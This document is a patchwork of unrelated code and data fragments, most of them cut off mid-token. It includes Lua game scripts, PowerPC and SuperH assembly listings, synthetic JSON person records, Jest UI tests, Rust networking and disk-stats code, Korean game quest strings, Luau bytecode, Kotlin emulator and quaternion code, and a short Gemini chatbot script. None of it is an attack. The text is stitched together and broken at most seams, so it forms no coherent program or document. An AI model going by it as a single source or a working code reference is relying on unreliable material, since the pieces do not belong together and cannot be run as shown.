	print(target:GetEntityIndex(),target.attack_counter)

	local targets = event.target_entities
	for _,hero in pairs(targets) do
		target.OldMana = target:GetMana()
	end
end

-- Continuously keeps track of all the targets mana
function NetherWardMana( event )
	local targets = event.target_entities

	for _,hero in pairs(targets) do
		hero.OldMana = hero:GetMana()
	end
end


StateLv2Fv
.global exeEscapeJump__15DodoryuStateLv2Fv
.global exeRecover__15DodoryuStateLv2Fv
.global exeDive__15DodoryuStateLv2Fv
.global exeKnockDown__15DodoryuStateLv2Fv
.global exeLaugh__15DodoryuStateLv2Fv
.global exeLaughEnd__15DodoryuStateLv2Fv
.global exeFindPos__15DodoryuStateLv2Fv
.global exeHideAttack__15DodoryuStateLv2Fv
.global exeChaseMoreStart__15DodoryuStateLv2Fv
.global exeChaseMore__15DodoryuStateLv2Fv
.global exeChaseMoreEnd__15DodoryuStateLv2Fv
.global catchHipDrop__15DodoryuStateLv2Fv
.global catchAttackSensor__15DodoryuStateLv2FP9HitSensorP9HitSensor
.global catchPlayerAttack__15DodoryuStateLv2FUlP9HitSensorP9HitSensor
.global catchStartClipped__15DodoryuStateLv2Fv
.global catchSendPlayerFlying__15DodoryuStateLv2FP9HitSensorP9HitSensor
.global knockOver__15DodoryuStateLv2Fv
.global isEnableToCatchHipDrop__15DodoryuStateLv2CFv
.global isDown__15DodoryuStateLv2CFv
.global isAttackableNerve__15DodoryuStateLv2CFv
.global tryShiftToChaseAppear__15DodoryuStateLv2Fv
.global tryShiftToChaseAppearEnd__15DodoryuStateLv2Fv
.global isEscapeEnd__15DodoryuStateLv2CFv
.global updateReadyChaseShake__15DodoryuStateLv2Fv
.global updateChaseHideShake__15DodoryuStateLv2Fv
.global updateHideShake__15DodoryuStateLv2Fv
.global updateDiveShake__15DodoryuStateLv2Fv
.global calcRandomVelocity__15DodoryuStateLv2Fl
.global keepVerticalizedVelocity__15DodoryuStateLv2Fv
.global attackStrongToDir__15DodoryuStateLv2FP9HitSensorP9HitSensor
.global hideJump__15DodoryuStateLv2Fv
.global tryToShiftAppearSign__15DodoryuStateLv2Fv
.global determinChaseMoreAccelCounter__15DodoryuStateLv2Fv
.global determinChaseMoreBrakeCounter__15DodoryuStateLv2Fv
.global turnToward__15DodoryuStateLv2FRCQ29JGeometry8TVec3?0f?1f
.global addVelocity__15DodoryuStateLv2Fb
.global calcLimitedRotateMtx__15DodoryuStateLv2FPQ29JGeometry64TPosition3?0Q29JGeometry38TMatrix34?0Q29JGeometry13SMatrix34C?0f?1?1?1RCQ29JGeometry8TVec3?0f?1RCQ29JGeometry8TVec3?0f?1f
.global isReflectSpinAttack__15DodoryuStateLv2CFv
.global shiftChaseUnderground__15DodoryuStateLv2Fv
.global shiftChaseExposingHead__15DodoryuStateLv2Fv
.global shiftChaseExposingBust__15DodoryuStateLv2Fv
.g


			"street": "9127 Westmorland Circle",
        				"town": "Conwy",
        				"postode": "SG8 7MP"
        			},
        			"telephone": "+671-0294-820-870",
        			"pets": [
        				"boo",
        				"Lilly"
        			],
        			"score": 6.3,
        			"email": "justina40@raising.com",
        			"url": "https://customized.com",
        			"description": "analysis spain moving contacts kay assembled millions weak athens kernel bicycle ds upset memorabilia crew bradley tight disability projects newest",
        			"verified": true,
        			"salary": 38215
        		},
        		{
        			"_id": "QQEYFJD6OSTQBEKY",
        			"name": "Kimbery Kim",
        			"dob": "2019-09-16",
        			"address": {
        				"street": "3064 Kingston Street",
        				"town": "Yeadon",
        				"postode": "SS7 8UO"
        			},
        			"telephone": "+92-3678-298-125",
        			"pets": [
        				"Murphy",
        				"Bear"
        			],
        			"score": 4.7,
        			"email": "rettabowden8400@gmail.com",
        			"url": "https://mustang.com",
        			"description": "keen occurring chick optical shipping somerset techno deer discrimination anchor ot ears maker picnic wrap flour addition huge advert reports",
        			"verified": true,
        			"salary": 41554
        		},
        		{
        			"_id": "YM36I083BP15HA4V",
        			"name": "Francesca Wicks",
        			"dob": "2017-03-05",
        			"address": {
        				"street": "8737 Chetwyn Circle",
        				"town": "Inverness",
        				"postode": "G9 6YX"
        			},
        			"telephone": "+34-4181-651-414",
        			"pets": [
        				"Sophie",
        				"Dexter"
        			],
        			"score": 3.7,
        			"email": "vitobeeson6181@yahoo.com",
        			"url": "https://www.pamela.com",
        			"description": "sewing civic itself circle pottery biology trinidad printer often task ye mhz plot performing land radius swim rack wb plugin",
        			"verified": false,
        			"salary": 58615
        		},
        		{
        			"_id": "QQHAQITNR2VSX33Q",
        			"name": "Ilene Ames",
        			"dob": "2017-07-10",
        			"address": {
        				"street": "7598 Booths Road",
        				"town": "Featherstone",
        				"postode": "DE07 5UX"
        			},
        			"telephone": "+66-4042-102-932",
        			"pets": [
        				"tucker",
        				"Marley"
        			],
        			"score": 5.7,
        			"email": "sherrill59@hotmail.com",
        			"url": "http://knee.com",
        			"description": "copies guilty therapy ghana join skip anyone incidence point website levels modular nikon beverly vietnam dynamics tu wrist founder structured",
        			"verified": true,
        			"salary": 66294
        		},
        		{
        			"_id": "Q6SV56K6UGKAPQM3",
        			"name": "Lakeshia Martindale",
        			"d


 100,
            step: 1,
            value: 0,
        }
        const area = new KnobArea(ref, props)
        expect(area.valueFromAngle(359)).toEqual(0)
    })

    it('angleFromValue() to return rotation angle for given value', () => {
        const props = {
            diameter: 180,
            min: 0,
            max: 100,
            step: 1,
            value: 0,
        }
        // Angle for 1 is 360 / (((max - min) / step) + 1) = Math.ceil(3.564..)
        const area = new KnobArea(ref, props)
        expect(area.angleFromValue(0)).toEqual(0)
        expect(area.angleFromValue(1)).toEqual(4)
        expect(area.angleFromValue(50)).toEqual(179) // Math.ceil(3.564 * 50)
        expect(area.angleFromValue(100)).toEqual(357)
    })

    it('updateAngleValue() should update value and angle on requestAnimationFrame', () => {
        global.requestAnimationFrame = jest.fn((callback) => {
            callback()
            return 1
        })
        const props = {
            diameter: 180,
            min: 0,
            max: 100,
            step: 1,
            value: 50,
        }
        const area = new KnobArea(ref, props)

        const initValue = area.value
        const initAngle = area.angle
        const calcDegreeOfRotationSpy = jest.spyOn(area, 'calcDegreeOfRotation')
        const valueFromAngleSpy = jest.spyOn(area, 'valueFromAngle')
        const angleFromValueSpy = jest.spyOn(area, 'angleFromValue')

        area.updateAngleValue(240, 360)
        expect(global.requestAnimationFrame).toHaveBeenCalled()
        expect(calcDegreeOfRotationSpy).toHaveBeenCalledWith(240, 360)
        expect(valueFromAngleSpy).toHaveBeenCalled()
        expect(angleFromValueSpy).toHaveBeenCalled()
        expect(area.value).not.toEqual(initValue)
        expect(area.angle).not.toEqual(initAngle)
    })

    it('handleOnMouseMove() should trigger updateAngleValue if isInteracting', () => {
        const props = {
            diameter: 180,
            min: 0,
            max: 100,
            step: 1,
            value: 50,
        }
        const area = new KnobArea(ref, props)

        const updateAngleValueSpy = jest.spyOn(area, 'updateAngleValue')
        const MouseEventClass = mock<MouseEvent>()
        when(MouseEventClass.pageX).thenReturn(240)
        when(MouseEventClass.pageY).thenReturn(360)
        const mouseEvent = instance(MouseEventClass)

        area.isInteracting = true
        area.handleOnMouseMove(mouseEvent)
        expect(updateAngleValueSpy).toHaveBeenCalledTimes(1)
        expect(updateAngleValueSpy).toHaveBeenCalledWith(240, 360)
        area.isInteracting = false
        area.handleOnMouseMove(mouseEvent)
        expect(updateAngleValueSpy).toHaveBeenCalledTimes(1)
    })

    it('handleOnMouseUp() should set isInteracting to false', () => {
        const onInteractionChange = jest.fn()
        const props = {
            diameter: 180,
            min: 0,
            max: 100,
            step: 1,
            value: 50,
            onInteractionChange,
        }
        const area = new KnobArea(ref, props)

        area.isInteracting = true // first call of onInteractionChange
        area.handleOnMouseUp()
        expect(onInteractionChange).toHaveBeenCalledTimes(2)
        expect(onInteractionChange).toHaveBeenCalledWith(false)
        expect(area.isInteracting).toBe(false)
    })

    it('handleOnTouchStart() should set isInteracting to true and trigger updateAngleValue', () => {


movx.w	a1,@r5	movy.w	@r7+,y0	! .word	0xf3a6
	movx.w	a1,@r5	movy.w	@r7+,y1	! .word	0xf3e6
	movx.w	a0,@r4	movy.w	@r6+r9,y0	! .word	0xf027
	movx.w	a0,@r4	movy.w	@r6+r9,y1	! .word	0xf067
	movx.w	a1,@r4	movy.w	@r6+r9,y0	! .word	0xf0a7
	movx.w	a1,@r4	movy.w	@r6+r9,y1	! .word	0xf0e7
	movx.w	a0,@r4	movy.w	@r7+r9,y0	! .word	0xf127
	movx.w	a0,@r4	movy.w	@r7+r9,y1	! .word	0xf167
	movx.w	a1,@r4	movy.w	@r7+r9,y0	! .word	0xf1a7
	movx.w	a1,@r4	movy.w	@r7+r9,y1	! .word	0xf1e7
	movx.w	a0,@r5	movy.w	@r6+r9,y0	! .word	0xf227
	movx.w	a0,@r5	movy.w	@r6+r9,y1	! .word	0xf267
	movx.w	a1,@r5	movy.w	@r6+r9,y0	! .word	0xf2a7
	movx.w	a1,@r5	movy.w	@r6+r9,y1	! .word	0xf2e7
	movx.w	a0,@r5	movy.w	@r7+r9,y0	! .word	0xf327
	movx.w	a0,@r5	movy.w	@r7+r9,y1	! .word	0xf367
	movx.w	a1,@r5	movy.w	@r7+r9,y0	! .word	0xf3a7
	movx.w	a1,@r5	movy.w	@r7+r9,y1	! .word	0xf3e7
	movx.w	a0,@r4+	movy.w	@r6,y0	! .word	0xf029
	movx.w	a0,@r4+	movy.w	@r6,y1	! .word	0xf069
	movx.w	a1,@r4+	movy.w	@r6,y0	! .word	0xf0a9
	movx.w	a1,@r4+	movy.w	@r6,y1	! .word	0xf0e9
	movx.w	a0,@r4+	movy.w	@r7,y0	! .word	0xf129
	movx.w	a0,@r4+	movy.w	@r7,y1	! .word	0xf169
	movx.w	a1,@r4+	movy.w	@r7,y0	! .word	0xf1a9
	movx.w	a1,@r4+	movy.w	@r7,y1	! .word	0xf1e9
	movx.w	a0,@r5+	movy.w	@r6,y0	! .word	0xf229
	movx.w	a0,@r5+	movy.w	@r6,y1	! .word


AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.

//! Transports with timeouts on the connection setup.
//!
//! The connection setup includes all protocol upgrades applied on the
//! underlying `Transport`.
// TODO: add example

use crate::{
    transport::{ListenerEvent, TransportError},
    Multiaddr, Transport,
};
use futures::prelude::*;
use futures_timer::Delay;
use std::{error, fmt, io, pin::Pin, task::Context, task::Poll, time::Duration};

/// A `TransportTimeout` is a `Transport` that wraps another `Transport` and adds
/// timeouts to all inbound and outbound connection attempts.
///
/// **Note**: `listen_on` is never subject to a timeout, only the setup of each
/// individual accepted connection.
#[derive(Debug, Copy, Clone)]
pub struct TransportTimeout<InnerTrans> {
    inner: InnerTrans,
    outgoing_timeout: Duration,
    incoming_timeout: Duration,
}

impl<InnerTrans> TransportTimeout<InnerTrans> {
    /// Wraps around a `Transport` to add timeouts to all the sockets created by it.
    pub fn new(trans: InnerTrans, timeout: Duration) -> Self {
        TransportTimeout {
            inner: trans,
            outgoing_timeout: timeout,
            incoming_timeout: timeout,
        }
    }

    /// Wraps around a `Transport` to add timeouts to the outgoing connections.
    pub fn with_outgoing_timeout(trans: InnerTrans, timeout: Duration) -> Self {
        TransportTimeout {
            inner: trans,
            outgoing_timeout: timeout,
            incoming_timeout: Duration::from_secs(100 * 365 * 24 * 3600), // 100 years
        }
    }

    /// Wraps around a `Transport` to add timeouts to the ingoing connections.
    pub fn with_ingoing_timeout(trans: InnerTrans, timeout: Duration) -> Self {
        TransportTimeout {
            inner: trans,
            outgoing_timeout: Duration::from_secs(100 * 365 * 24 * 3600), // 100 years
            incoming_timeout: timeout,
        }
    }
}

impl<InnerTrans> Transport for TransportTimeout<InnerTrans>
where
    InnerTrans: Transport,
    InnerTrans::Error: 'static,
{
    type Output = InnerTrans::Output;
    type Error = TransportTimeoutError<InnerTrans::Error>;
    type Listener = TimeoutListener<InnerTrans::Listener>;
    type ListenerUpgrade = Timeout<InnerTrans::ListenerUpgrade>;
    type Dial = Timeout<InnerTrans::Dial>;

    fn listen_on(self, addr: Multiaddr) -> Result<Self::Listener, TransportError<Self::Error>> {
        let listener = self
            .inner
            .listen_on(addr)
            .map_err(|err| err.map(TransportTimeoutError::Other))?;

        let listener = TimeoutListener {
            inner: listener,
            timeout: self.incoming_timeout,
        };

        Ok(listener)
    }

    fn dial(self, addr: Multiaddr) -> Result<Self::Dial, TransportError<Self::Error>> {
        let dial = self
            .inner
            .dial(addr)
            .map_err(|err| err.map(TransportTimeoutError::Other))?;
        Ok(Timeout {
            inner: dial,
            timer: Delay::new(self.outgoing_timeout),
        })
    }

    fn dial_as_listener(self, addr: Multiaddr) -> Result<Self::Dial, TransportError<Self::Error>> {
        let dial = self
            .inner
            .dial_as_listener(addr)
            .map_err(|err| err.map(TransportTimeoutError::Other))?;
        Ok(Timeout {
            inner: dial,
            timer: Delay::new(self.outgoing_timeout),
        })
    }

    fn address_translation(&self, server: &Multiaddr, observed: &


니다. 레벨 1 유랑도"}},
[29779] = {"빠른 해결책", nil, {"페펑 마을에서 호젠을 20마리 처치해야 합니다. 레벨 1 유랑도"}},
[29780] = {"악행 하지 말라", nil, {"페펑 족장 럭럭을 처치해야 합니다. 레벨 1 유랑도"}},
[29781] = {"원숭이 이용 불가", nil, {"도난당한 폭죽 묶음을 8개 되찾아야 합니다. 레벨 1 유랑도"}},
[29782] = {"뼈보다 강하다", nil, {"아침 바람 마을에 있는 조조 아이언브라우에게 비취 호랑이 기둥을 가져가야 합니다. 레벨 1 유랑도"}},
[29783] = {"돌보다 강하다", nil, {"버려진 석판 더미를 12개 모아야 합니다. 레벨 1 유랑도"}},
[29784] = {"균형 잡힌 관점", nil, {"밧줄을 타고 가서 아침 바람 호수에 있는 아이사 클라우드싱어와 대화해야 합니다. 레벨 1 유랑도"}},
[29785] = {"바람의 정령 다펑", nil, {"속삭임의 방에 있는 바람의 정령 다펑과 대화해야 합니다. 레벨 1 유랑도"}},
[29786] = {"하늘 탈환전", nil, {"지의 폭죽을 이용해 마노 운룡 자오런을 물리쳐야 합니다. 레벨 1 유랑도"}},
[29787] = {"지나갈 자격이 있는 자", nil, {"장로의 수호자를 꺾어야 합니다. 레벨 1 유랑도"}},
[29788] = {"적의를 품은 자연", nil, {"가시가지 장난꾼을 8마리 처치해야 합니다. 레벨 1 유랑도"}},
[29789] = {"작지만 중요한", nil, {"쿤파이 의식의 부적을 8개 손에 넣어야 합니다. 레벨 1 유랑도"}},
[29790] = {"지혜의 계승", nil, {"사부 샹 시의 말을 들어야 합니다. 레벨 1 유랑도"}},
[29791] = {


>

2<o:p></o:p>

R/W (A)<o:p></o:p>

Read/Write<o:p></o:p>

Patte
  de commande de fonctions.<o:p></o:p>

3<o:p></o:p>

CLK<o:p></o:p>

Clock<o:p></o:p>

  <td style='


-1 [1]
  CALL R27 3 1
  MOVE R28 R3
  LOADK R29 K67 [">.ScriptIcon"]
  DUPTABLE R30 K69 [{"Image"}]
  LOADK R31 K70 ["$scripticon"]
  SETTABLEKS R31 R30 K68 ["Image"]
  CALL R28 2 -1
  SETLIST R24 R25 -1 [1]
  CALL R21 3 1
  MOVE R22 R3
  LOADK R23 K71 ["> #Right"]
  DUPTABLE R24 K61 [{"Size"}]
  GETIMPORT R25 K30 [UDim2.new]
  LOADN R26 1
  LOADN R27 220
  LOADN R28 1
  LOADN R29 0
  CALL R25 4 1
  SETTABLEKS R25 R24 K24 ["Size"]
  NEWTABLE R25 0 5
  MOVE R26 R3
  LOADK R27 K47 ["::UIPadding"]
  DUPTABLE R28 K72 [{"PaddingLeft"}]
  GETIMPORT R29 K39 [UDim.new]
  LOADN R30 0
  MOVE R31 R9
  CALL R29 2 1
  SETTABLEKS R29 R28 K50 ["PaddingLeft"]
  CALL R26 2 1
  MOVE R27 R3
  LOADK R28 K55 [">> TextLabel"]
  DUPTABLE R29 K75 [{"TextXAlignment", "TextYAlignment"}]
  GETIMPORT R30 K77 [Enum.TextXAlignment.Left]
  SETTABLEKS R30 R29 K73 ["TextXAlignment"]
  GETIMPORT R30 K79 [Enum.TextYAlignment.Center]
  SETTABLEKS R30 R29 K74 ["TextYAlignment"]
  CALL R27 2 1
  MOVE R28 R3
  LOADK R29 K80 ["> #Top"]
  DUPTABLE R30 K61 [{"Size"}]
  GETIMPORT R31 K30 [UDim2.new]
  LOADN R32 1
  LOADN R33 0
  LOADN R34 0
  MOVE R35 R4
  CALL R31 4 1
  SETTABLEKS R31 R30 K24 ["Size"]
  NEWTABLE R31 0 3
  MOVE R32 R3
  LOADK R33 K81 ["> #DotDotDot"]
  DUPTABLE R34 K61 [{"Size"}]
  GETIMPORT R35 K30 [UDim2.new]
  LOADN R36 0
  MOVE R37 R4
  LOADN R38 0
  MOVE R39 R4
  CALL R35 4 1
  SETTABLEKS R35 R34 K24 ["Size"]
  NEWTABLE R35 0 1
  MOVE R36 R3
  LOADK R37 K82 ["> ImageButton"]
  DUPTABLE R38 K85 [{"BorderSizePixel", "Image", "ScaleType", "BackgroundColor3"}]
  LOADN R39 0
  SETTABLEKS R39 R38 K83 ["BorderSizePixel"]
  LOADK R39 K86 ["$threedotsicon"]
  SETTABLEKS R39 R38 K68 ["Image"]
  GETIMPORT R39 K88 [Enum.ScaleType.Fit]
  SETTABLEKS R39 R38 K84 ["ScaleType"]
  LOADK R39 K45 ["$ForegroundContrast"]
  SETTABLEKS R39 R38 K26 ["BackgroundColor3"]
  NEWTABLE R39 0 2
  MOVE R40 R3
  LOADK R41 K53 [":hover"]
  DUPTABLE R42 K54 [{"BackgroundColor3"}]
  LOADK R43 K89 ["$ActionHover"]
  SETTABLEKS R43 R42 K26 ["BackgroundColor3"]
  CALL R40 2 1
  MOVE R41 R3
  LOADK R42 K35 ["::UICorner"]
  DUPTABLE R43 K37 [{"CornerRadius"}]
  GETIMPORT R44 K39 [UDim.new]
  LOADN R45 0
  LOADN R46 2
  CALL R44 2 1
  SETTABLEKS R44 R43 K36 ["CornerRadius"]
  CALL R41 2 -1
  SE


 field(31..24)
    }

    private var IPR1 = object : Register(ports.mem, 0x304u, DWORD, "IPR1") {
        var PRI_4 by field(7..0)
        var PRI_5 by field(15..8)
        var PRI_6 by field(23..16)
        var PRI_7 by field(31..24)
    }

    private var IPR2 = object : Register(ports.mem, 0x308u, DWORD, "IPR2") {
        var PRI_8 by field(7..0)
        var PRI_9 by field(15..8)
        var PRI_10 by field(23..16)
        var PRI_11 by field(31..24)
    }

    private var IPR3 = object : Register(ports.mem, 0x30Cu, DWORD, "IPR3") {
        var PRI_12 by field(7..0)
        var PRI_13 by field(15..8)
        var PRI_14 by field(23..16)
        var PRI_15 by field(31..24)
    }

    private var IPR4 = object : Register(ports.mem, 0x310u, DWORD, "IPR4") {
        var PRI_16 by field(7..0)
        var PRI_17 by field(15..8)
        var PRI_18 by field(23..16)
        var PRI_19 by field(31..24)
    }

    private var IPR5 = object : Register(ports.mem, 0x314u, DWORD, "IPR5") {
        var PRI_20 by field(7..0)
        var PRI_21 by field(15..8)
        var PRI_22 by field(23..16)
        var PRI_23 by field(31..24)
    }

    private var IPR6 = object : Register(ports.mem, 0x318u, DWORD, "IPR6") {
        var PRI_24 by field(7..0)
        var PRI_25 by field(15..8)
        var PRI_26 by field(23..16)
        var PRI_27 by field(31..24)
    }

    private var IPR7 = object : Register(ports.mem, 0x31Cu, DWORD, "IPR7") {
        var PRI_28 by field(7..0)
        var PRI_29 by field(15..8)
        var PRI_30 by field(23..16)
        var PRI_31 by field(31..24)
    }

    override fun reset() {
        super.reset()
        exceptions.enableAll()
    }
}/*
 *
 * This file is part of Kopycat emulator software.
 *
 * Copyright (C) 2023 INFORION, LLC
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * Non-free licenses may also be purchased from INFORION, LLC,
 * for users who do not want their programs protected by the GPL.
 * Contact us for details kopycat@inforion.ru
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */
package ru.inforion.lab403.kopycat.modules.p2020

import ru.inforion.lab403.common.extensions.*
import ru.inforion.lab403.common.logging.FINE
import ru.inforion.lab403.common.logging.logger
import ru.inforion.lab403.kopycat.cores.base.GenericSerializer
import ru.inforion.lab403.kopycat.cores.base.common.Module
import ru.inforion.lab403.kopycat.cores.base.common.ModulePorts
import ru.inforion.lab403.kopycat.cores.base.exceptions.GeneralException
import ru.inforion.lab403.


l, flip_vertical, rotate90, rotate180, rotate270};

use ndarray::prelude::*;
use ndarray::{Array2, ArrayView2, Ix2};

use pbr::{PbIter, ProgressBar};

use vosealias::AliasTable;

use rand::Rng;

use source::Source;
use wave::State;

type RcArray2<A> = RcArray<A, Ix2>;

#[derive(Copy, Clone)]
pub struct Point2(u32, u32);

#[derive(PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone, Debug)]
struct Pixel2(u32);

#[derive(PartialEq, Eq, Hash, Clone, Copy, Debug)]
pub struct Offset2(isize, isize);

impl Sub for Point2 {
    type Output = Offset2;

    fn sub(self, rhs: Point2) -> Offset2 {
        let x = self.0 as isize - rhs.0 as isize;
        let y = self.1 as isize - rhs.1 as isize;

        Offset2(x, y)
    }
}

impl Neg for Offset2 {
    type Output = Self;

    fn neg(self) -> Self {
        Offset2(-self.0, -self.1)
    }
}

pub struct OverlappingSource2<P> {
    palette: Vec<P>,
    inverse_palette: HashMap<P, Pixel2>,

    samples: Vec<Sample2<Pixel2>>,
    weights: Vec<(usize, f64)>,

    collide: HashMap<Offset2, Vec<BitSet>>,

    n: (usize, usize),
}

pub mod symmetry {
    bitflags! {
        pub flags Symmetry2: u8 {
            const S2_IDENTITY        = 0b00000001,
            const S2_ROTATE_90       = 0b00000010,
            const S2_ROTATE_180      = 0b00000100,
            const S2_ROTATE_270      = 0b00001000,
            const S2_REFLECT_Y       = 0b00010000,
            const S2_REFLECT_X       = 0b00100000,
            const S2_REFLECT_Y_ROT90 = 0b01000000,
            const S2_REFLECT_X_ROT90 = 0b10000000,
        }
    }
}
use self::symmetry::*;

#[derive(Clone, PartialEq, Eq, Hash)]
pub struct Sample2<P>(RcArray2<P>);

impl<P> OverlappingSource2<P>
    where P: Copy
{
    pub fn from_image<I: GenericImage<Pixel = P> + 'static>(img: &I,
                                                            n: (usize, usize),
                                                            periodic: (bool, bool),
                                                            symmetry: Symmetry2)
                                                            -> Self
        where P: Pixel + Eq + Hash + 'static
    {
        debug!("Generating palette map...");

        let palette_set: HashSet<P> = img.pixels().map(|(_, _, p)| p).collect();
        let palette_map: HashMap<P, Pixel2> = palette_set.into_iter()
            .enumerate()
            .map(|(i, p)| (p, Pixel2(i as u32)))
            .collect();

        debug!("Palette size: {}.", palette_map.len());

        debug!("Allocating ImageBuffer and copying source image...");

        let mut buf = ImageBuffer::<P, _>::new(img.width(), img.height());
        buf.copy_from(img, 0, 0);

        let sample_buf_size: usize = (img.width() * img.height()) as usize;

        debug!("Generating symmetry buffers...");

        let symmetries: Vec<RcArray2<Pixel2>> = {
            let symm_bufs = {
                let mut symm_bufs = Vec::new();

                if symmetry.contains(S2_IDENTITY) {
                    symm_bufs.push(buf.clone())
                }
                if symmetry.contains(S2_ROTATE_90) {
                    symm_bufs.push(rotate90(&buf))
                }
                if symmetry.contains(S2_ROTATE_180) {


from google import genai
from dotenv import load_dotenv
import os

load_dotenv()
GEMINI_API_KEY = os.getenv("MY_API_KEY")
client = genai.Client(api_key=GEMINI_API_KEY)
def chat_with_bot(prompt):
    response = client.models.generate_content(
        model= "gemini-2.0-flash",
        contents= prompt
    )

    return response.text

if __name__ == "__main__":
    while True:
        user_input = input("You : ")
        if user_input in ["exit", "quit", "bye"]:
            break

        response = chat_with_bot(user_input)
        print("Chatbot : ", response)


 the dot-product of this and the given quaternion.
     */
    fun dot(that: QuatF): Float = x * that.x + y * that.y + z * that.z + w * that.w

    /**
     * Computes the length / magnitude of this quaternion. For valid rotation quaternions, the length should always be
     * equal to 1.
     */
    fun length(): Float = sqrt(sqrLength())

    /**
     * Computes the squared length / magnitude of this quaternion. For valid rotation quaternions, the length should
     * always be equal to 1.
     */
    fun sqrLength(): Float = x*x + y*y + z*z + w*w

    /**
     * Linearly interpolates the values of this and another vector and returns the result as an (optionally provided)
     * [MutableVec4f]: result = that * weight + this * (1 - weight).
     */
    fun mix(that: QuatF, weight: Float, result: MutableQuatF = MutableQuatF()): MutableQuatF {
        val dot = x * that.x + y * that.y + z * that.z + w * that.w
        val absCosom = abs(dot)

        val scale0: Float
        val scale1: Float

        if (1.0f - absCosom > FUZZY_EQ_F) {
            val sinSqr = 1.0f - absCosom * absCosom
            val sinom = 1.0f / sqrt(sinSqr)
            val omega = atan2(sqrt(sinSqr), absCosom)
            scale0 = sin((1.0f - weight) * omega) * sinom
            scale1 = sin(weight * omega) * sinom
        } else {
            scale0 = 1.0f - weight
            scale1 = weight
        }

        val adjustedScale = if (dot >= 0.0f) scale1 else -scale1

        result.x = scale0 * x + adjustedScale * that.x
        result.y = scale0 * y + adjustedScale * that.y
        result.z = scale0 * z + adjustedScale * that.z
        result.w = scale0 * w + adjustedScale * that.w

        return result
    }

    /**
     * @return rotation axis with length, equal to the half of rotation angle (in radians)
     */
    fun log(result: MutableVec3f = MutableVec3f()): MutableVec3f {
        val lenXYZ = sqrt(x * x + y * y + z * z)
        val angle = atan2(lenXYZ, abs(w))

        val b = if (abs(angle) > TAYLOR_EPS_F) { // angle / sin(angle)
            val a = 1.0f / (1.0f - w * w) // 1 / sin^2
            angle * sqrt(a)
        } else {
            1.0f + angle * angle / 6.0f
        }

        val mult = if (w >= 0.0) b else -b
        return result.set(x * mult, y * mult, z * mult)
    }

    fun pow(power: Float): MutableQuatF {
        val logVec = log()
        return MutableQuatF().setExponent(logVec, power)
    }

    /**
     * Norms the length of this quaternion and returns the result in an (optionally provided) [MutableQuatF].
     */
    fun normed(result: MutableQuatF = MutableQuatF()): MutableQuatF = result.set(this).norm()

    /**
     * Norms the length of this quaternion and returns the result in an (optionally provided) [MutableQuatF].
     */
    fun inverted(result: MutableQuatF = MutableQuatF()): MutableQuatF = result.set(this).invert()

    /**
     * Checks vector components for equality using [de.fabmax.kool.math.isFuzzyEqual], that is all components must


t, sectors_read) = err_msg!(util::parse_u64(input), "sectors read")?;
        let (input, time_reading) = err_msg!(util::parse_u64(input), "time spent reading (ms)")?;
        let time_reading = Duration::from_millis(time_reading);
        let (input, writes_completed) =
            err_msg!(util::parse_u64(input), "writes completed successfully")?;
        let (input, writes_merged) = err_msg!(util::parse_u64(input), "writes merged")?;
        let (input, sectors_written) = err_msg!(util::parse_u64(input), "sectors written")?;
        let (input, time_writing) = err_msg!(util::parse_u64(input), "time writing")?;
        let time_writing = Duration::from_millis(time_writing);
        let (input, io_in_progress) =
            err_msg!(util::parse_u64(input), "I/Os currently in progress")?;
        let (input, time_io) = err_msg!(util::parse_u64(input), "time spent doing I/Os (ms)")?;
        let time_io = Duration::from_millis(time_io);
        let (_input, time_io_weighted) = err_msg!(
            util::parse_u64(input),
            "weighted time spent doing I/Os (ms)"
        )?;
        let time_io_weighted = Duration::from_millis(time_io_weighted);
        // We don't check remaining content as future linux may add extra columns.
        Ok(DiskStat {
            major,
            minor,
            name,
            reads_completed,
            reads_merged,
            sectors_read,
            time_reading,
            writes_completed,
            writes_merged,
            sectors_written,
            time_writing,
            io_in_progress,
            time_io,
            time_io_weighted,
        })
    }
}

#[cfg(test)]
mod tests {
    use super::DiskStats;
    use std::io;

    #[test]
    fn proc_diskstats() {
        let raw = "\
   8      16 sdb 213 0 18712 564 0 0 0 0 0 217 794
   8      17 sdb1 48 0 4688 157 0 0 0 0 0 164 227
   8      18 sdb2 44 0 4656 204 0 0 0 0 0 167 254
   8      19 sdb3 44 0 4656 187 0 0 0 0 0 164 234
   8       0 sda 446866 32893 8168064 20164 339296 376515 86758441 4343530 0 250860 4704740
   8       1 sda1 143 30 11462 24 1 0 8 0 0 50 64
   8       2 sda2 46 0 4992 0 0 0 0 0 0 17 17
   8       3 sda3 6 0 36 0 0 0 0 0 0 4 4
   8       5 sda5 446599 32863 8148758 20140 331949 376515 86758433 4337104 0 233207 4686390
   8      32 sdc 7354 0 1580168 91987 7 0 56 0 0 91374 96127
   8      33 sdc1 7279 0 1575472 91310 7 0 56 0 0 90670 95424
  11       0 sr0 0 0 0 0 0 0 0 0 0 0 0
";
        let _stat = DiskStats::from_reader(io::Cursor::new(raw)).unwrap();
    }
}
<reponame>prisma-korea/prisma-engines
use migration_engine_tests::test_api::*;
use sql_schema_describer::DefaultKind;

// Ignoring sqlite is OK, because sqlite integer primary keys are always auto-incrementing.
#[test_connector(tags(CockroachDb))]
fn flipping_autoincrement_on_and_off_works(api: TestApi) {
    let dm_without = r#"
        model Post {
            id        BigInt  @id
            title     String     @default("")
        }
    "#;

    let


	bl __cvt_fp2unsigned
/* 803572F0 003540F0  80 1B 00 0C */	lwz r0, 0xc(r27)
/* 803572F4 003540F4  38 81 00 90 */	addi r4, r1, 0x90
/* 803572F8 003540F8  C0 22 DF C8 */	lfs f1, lbl_805E46C8@sda21(r2)
/* 803572FC 003540FC  7C 7C 1B 78 */	mr r28, r3
/* 80357300 00354100  54 00 10 3A */	slwi r0, r0, 2
/* 80357304 00354104  7F 04 04 2E */	lfsx f24, r4, r0
